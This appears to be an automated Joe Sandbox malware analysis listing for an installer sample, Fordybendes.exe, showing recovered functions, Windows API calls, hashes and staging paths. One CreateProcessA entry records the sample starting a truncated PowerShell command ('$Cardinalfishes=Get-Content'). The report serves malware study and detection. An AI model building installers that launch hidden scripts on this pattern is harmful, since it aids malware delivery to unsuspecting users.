Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 3953c50c5734a5342b3d9bd696b660d903f899823d07f085df3ad9df62cd1170
Instruction ID: 55f356f7bf60f745e5b70ed22492a519aa14ad1381e3bdd4eda5ccf522c0d7d6
Opcode Fuzzy Hash: 3953c50c5734a5342b3d9bd696b660d903f899823d07f085df3ad9df62cd1170
Instruction Fuzzy Hash: 4CF0F971C0020DDBEB01DFA4D5087DEBBB4AF04305F00802AD841B6280D7B882588B99

Function 004058F0 Relevance: 3.0, APIs: 2, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00422128,?,"$Cardinalfishes=Get-Content ',"$Cardinalfishes=Get-Content ',?,00426400,00000000), ref: 00405919
CloseHandle.KERNEL32(?), ref: 00405926

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID:
API String ID: 3712363035-0
Opcode ID: 6eb3c843a62665a2e66f1b6d59be22b40aa3537446113bba5c55f7e285da1986
Instruction ID: 79e3e1688c9b6b49a4337afcc26cfa8d76d2273a1cd1f72193335d48ae978bdb
Opcode Fuzzy Hash: 6eb3c843a62665a2e66f1b6d59be22b40aa3537446113bba5c55f7e285da1986
Instruction Fuzzy Hash: 3BE0BFF4600219BFEB119B64ED05F7B77BCE704704F518525BD51F2151DA7498148A78

Function 0040667F Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,00000000,?,004034E4,0000000C), ref: 00406691
GetProcAddress.KERNEL32(00000000,?), ref: 004066AC

Part of subcall function 00406611: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00406628
Part of subcall function 00406611: wsprintfA.USER32 ref: 00406661
Part of subcall function 00406611: LoadLibraryExA.KERNELBASE(?,00000000,00000008), ref: 00406675

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 6364b50fcd8a78884de1a109c3061c8e2e734accc18c0610f9b5885e266cf418
Instruction ID: b822115cc93c87e4770b1e8a92c35aa845e39af966f392d1223ab81df9f7854c
Opcode Fuzzy Hash: 6364b50fcd8a78884de1a109c3061c8e2e734accc18c0610f9b5885e266cf418
Instruction Fuzzy Hash: 92E08633504210AAD611A7709E0883762AC9E867043060C3EF543F6240DB399C729A6E

Function 00405DEA Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000003,00402F71,C:\Users\user\Desktop\Fordybendes.exe,80000000,00000003,?,?,004036EC,?,?,00000008,0000000A,0000000C), ref: 00405DEE
CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,004036EC,?,?,00000008,0000000A,0000000C), ref: 00405E10

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 4c035aff046b4d43788645f88f630755698ea216f1f6cd5eefec511dda558379
Instruction ID: 0febe3887fb1e567d40345103610fd6f3e8d71b3c6328ccb34cdb50f288ecb70
Opcode Fuzzy Hash: 4c035aff046b4d43788645f88f630755698ea216f1f6cd5eefec511dda558379
Instruction Fuzzy Hash: 23D09E31254301AFEF099F20DE16F2E7AA2EB84B00F11952CB682A41E0DA7158299B15

Function 00405DC5 Relevance: 3.0, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(?,?,004059DD,?,?,00000000,00405BC0,?,?,?,?), ref: 00405DCA
SetFileAttributesA.KERNEL32(?,00000000), ref: 00405DDE

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 96c7ec262ab61fe6fea47152b5241fdb13327e4bfef36903235a76d16f55e530
Instruction ID: d43436b973e76c4b01283cada394ff82e8112d3abf3e5048573654bb382d62e0
Opcode Fuzzy Hash: 96c7ec262ab61fe6fea47152b5241fdb13327e4bfef36903235a76d16f55e530
Instruction Fuzzy Hash: C0D012725046206FC6113728EF0C89BBF55DB543717028F36F9A9A22F0CB304C56CB98

Function 004058BB Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNELBASE(?,00000000,00403395,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040367F,?,00000008,0000000A,0000000C), ref: 004058C1
GetLastError.KERNEL32(?,00000008,0000000A,0000000C), ref: 004058CF

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 7ce514c051633c67dabed91c1ba2c830ad6f4192d7236d4c27a26ed09d9cb01d
Instruction ID: 30906a006ed9b45dc4efc70bb32269664e7cf578bac73b30a6d1da3a92a0b104
Opcode Fuzzy Hash: 7ce514c051633c67dabed91c1ba2c830ad6f4192d7236d4c27a26ed09d9cb01d
Instruction Fuzzy Hash: 6AC04C71214A06DAD6506B219F087177BA5AB50741F25843AAA87F40A0DE3484A9DA2D

Function 00405E62 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,00403357,00000000,00000000,004031B4,000000FF,00000004,00000000,00000000,00000000), ref: 00405E76

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 62c77d97b5b576e4a72063145ecbe95ee4dab9ee0079c0f8f42f41321a19b9da
Instruction ID: bdd3cbd1d153ae02f25dac326e76355912a713e21b692c984e9b86253f54df5f
Opcode Fuzzy Hash: 62c77d97b5b576e4a72063145ecbe95ee4dab9ee0079c0f8f42f41321a19b9da
Instruction Fuzzy Hash: E9E0463220025AAFCF209FA1DC00AAB3B6CEB01260F000433FD58E2040D231E920CAE8

Function 00405E91 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,00000008,?,00403325,00000000,004138D8,00000008,004138D8,00000008,000000FF,00000004,00000000), ref: 00405EA5

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 11d7c7005d0d3054af3b9be2f3a82004ed33d4240877e49ff836af06555e7eff
Instruction ID: fa2f0fbde9cfb659f44386b06c696d6bc658fd4b6b530f96672892f56a02ba52
Opcode Fuzzy Hash: 11d7c7005d0d3054af3b9be2f3a82004ed33d4240877e49ff836af06555e7eff
Instruction Fuzzy Hash: ACE08C3220121AABEF219F50DC00AEB3B6CEB00361F004836FA54E3150D230EA218BE8

Function 00404343 Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00010488,00000000,00000000,00000000), ref: 00404355

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 3f2b9804eab68573f146fdcade2b4da8b7421c4c2f1d53b715e4224501dc01bf
Instruction ID: 5e893e71cb28d1ecc651d20b4cbd375632880982d7b55d89439e603ef4ab6202
Opcode Fuzzy Hash: 3f2b9804eab68573f146fdcade2b4da8b7421c4c2f1d53b715e4224501dc01bf
Instruction Fuzzy Hash: 48C09BB17443017BDA209F519E45F07776C9750701F1554397754F54D0C6B5E510D72C

Function 0040335A Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,004030F6,?,?,?,004036EC,?,?,00000008,0000000A,0000000C), ref: 00403368

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: bee48198ef0a4de3628cda0e050061df99a752697c0ad5ddba35b49727997b0c
Instruction ID: 699dda5fb03a211c19396a68767747e6c986426da1756d7c47186a7ffa8d2f84
Opcode Fuzzy Hash: bee48198ef0a4de3628cda0e050061df99a752697c0ad5ddba35b49727997b0c
Instruction Fuzzy Hash: EBB01231140300BFDA214F00DF09F057B21AB94710F10C034B384780F086711075EB0E

Function 0040432C Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000028,?,00000001,0040415C), ref: 0040433A

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 01d356091c5cee1d9c7d245476c7fa8486dde432518b8bf3a516dd2ea8b2d9b9
Instruction ID: d048147452dbd0c1860f9462119a6b97fc0e3fbee653e89d9f8fcfd31795eed3
Opcode Fuzzy Hash: 01d356091c5cee1d9c7d245476c7fa8486dde432518b8bf3a516dd2ea8b2d9b9
Instruction Fuzzy Hash: D1B09276381601AADA619B00DE09F457A62E7A8B02F418028B244244B0CAB204A1DB18

Function 00404319 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,004040F5), ref: 00404323

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 3449ea68190b592a5798f96a6ea8876c912ca1a27c45f6fa5be79c3d216cc7d8
Instruction ID: 2eb38c10ea06243a6a86091da43815d65464e49ad358049b9a5b8d6cdb695d6a
Opcode Fuzzy Hash: 3449ea68190b592a5798f96a6ea8876c912ca1a27c45f6fa5be79c3d216cc7d8
Instruction Fuzzy Hash: F0A012B11011009BCB014B00EF04805BA61A750300700C038A1411003187310421FB09

Function 00401FA0 Relevance: 1.3, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 0040539B: lstrlenA.KERNEL32(Completed,00000000,004178D8,00000000,?,?,?,?,?,?,?,?,?,00403298,00000000,?), ref: 004053D4
Part of subcall function 0040539B: lstrlenA.KERNEL32(00403298,Completed,00000000,004178D8,00000000,?,?,?,?,?,?,?,?,?,00403298,00000000), ref: 004053E4
Part of subcall function 0040539B: lstrcatA.KERNEL32(Completed,00403298,00403298,Completed,00000000,004178D8,00000000), ref: 004053F7
Part of subcall function 0040539B: SetWindowTextA.USER32(Completed,Completed), ref: 00405409
Part of subcall function 0040539B: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 0040542F
Part of subcall function 0040539B: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00405449
Part of subcall function 0040539B: SendMessageA.USER32(?,00001013,?,00000000), ref: 00405457

Part of subcall function 004058F0: CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00422128,?,"$Cardinalfishes=Get-Content ',"$Cardinalfishes=Get-Content ',?,00426400,00000000), ref: 00405919
Part of subcall function 004058F0: CloseHandle.KERNEL32(?), ref: 00405926

CloseHandle.KERNEL32(?,?,?,?,?,?), ref: 00401FE5

Part of subcall function 004066F4: WaitForSingleObject.KERNEL32(?,00000064), ref: 00406705
Part of subcall function 004066F4: GetExitCodeProcess.KERNEL32(?,?), ref: 00406727

Part of subcall function 004061B5: wsprintfA.USER32 ref: 004061C2

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcatwsprintf
String ID:
API String ID: 2972824698-0
Opcode ID: 1c83aacd1d526bd3bf401682ce842029646ba3fd1c6faf773c7bc1625ff5e8bd
Instruction ID: db9ede1ab5137ae9ee8fe17b22ac7e1cc92bb5324d9ca2e84c12474690a006a4
Opcode Fuzzy Hash: 1c83aacd1d526bd3bf401682ce842029646ba3fd1c6faf773c7bc1625ff5e8bd
Instruction Fuzzy Hash: 0AF05432A051219BCF20ABA55D849EF62E8DB01318B15453FF502F21D2C77C4A429AAE

Non-executed Functions

Function 00404789 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 274stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 004047D8
SetWindowTextA.USER32(00000000,?), ref: 00404802
SHBrowseForFolderA.SHELL32(?,0041FCF8,?), ref: 004048B3
CoTaskMemFree.OLE32(00000000), ref: 004048BE
lstrcmpiA.KERNEL32(: Completed,Formerer Setup: Completed), ref: 004048F0
lstrcatA.KERNEL32(?,: Completed), ref: 004048FC
SetDlgItemTextA.USER32(?,000003FB,?), ref: 0040490E

Part of subcall function 00405951: GetDlgItemTextA.USER32(?,?,00000400,00404945), ref: 00405964

Part of subcall function 00406551: CharNextA.USER32(0000000C,*?|<>/":,00000000,?,761336B0,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Fordybendes.exe",0040337D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040367F,?,00000008,0000000A,0000000C), ref: 004065A9
Part of subcall function 00406551: CharNextA.USER32(0000000C,0000000C,0000000C,00000000,?,761336B0,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Fordybendes.exe",0040337D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040367F,?,00000008,0000000A,0000000C), ref: 004065B6
Part of subcall function 00406551: CharNextA.USER32(0000000C,?,761336B0,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Fordybendes.exe",0040337D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040367F,?,00000008,0000000A,0000000C), ref: 004065BB
Part of subcall function 00406551: CharPrevA.USER32(0000000C,0000000C,761336B0,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Fordybendes.exe",0040337D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040367F,?,00000008,0000000A,0000000C), ref: 004065CB

GetDiskFreeSpaceA.KERNEL32(0041F8F0,?,?,0000040F,?,0041F8F0,0041F8F0,?,00000001,0041F8F0,?,?,000003FB,?), ref: 004049CC
MulDiv.KERNEL32(?,0000040F,00000400), ref: 004049E7

Part of subcall function 00404B40: lstrlenA.KERNEL32(Formerer Setup: Completed,Formerer Setup: Completed,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,00404A5B,000000DF,00000000,00000400,?), ref: 00404BDE
Part of subcall function 00404B40: wsprintfA.USER32 ref: 00404BE6
Part of subcall function 00404B40: SetDlgItemTextA.USER32(?,Formerer Setup: Completed), ref: 00404BF9

Strings

Formerer Setup: Completed, xrefs: 00404886, 004048E9
C:\Users\user\AppData\Local\stagnantness\topchef, xrefs: 004048D9
A, xrefs: 004048AC
: Completed, xrefs: 004048EA, 004048EF, 004048FA

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: : Completed$A$C:\Users\user\AppData\Local\stagnantness\topchef$Formerer Setup: Completed
API String ID: 2624150263-3791460142
Opcode ID: a70579a3d7acda06ba10cc20817b52a319b8fb6100fd3c7b572cde85c5f37867
Instruction ID: 3761125bbef1c3228a87373e5864fd706f39901ada387834bd2bc6b797aaef4e
Opcode Fuzzy Hash: a70579a3d7acda06ba10cc20817b52a319b8fb6100fd3c7b572cde85c5f37867
Instruction Fuzzy Hash: BFA170F1A00219ABDB11AFA5CC45AAF76B8EF84314F14843BF611B62D1D77C8A418F6D

Function 00402198 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 139comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00408410,?,00000001,00408400,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 0040221D
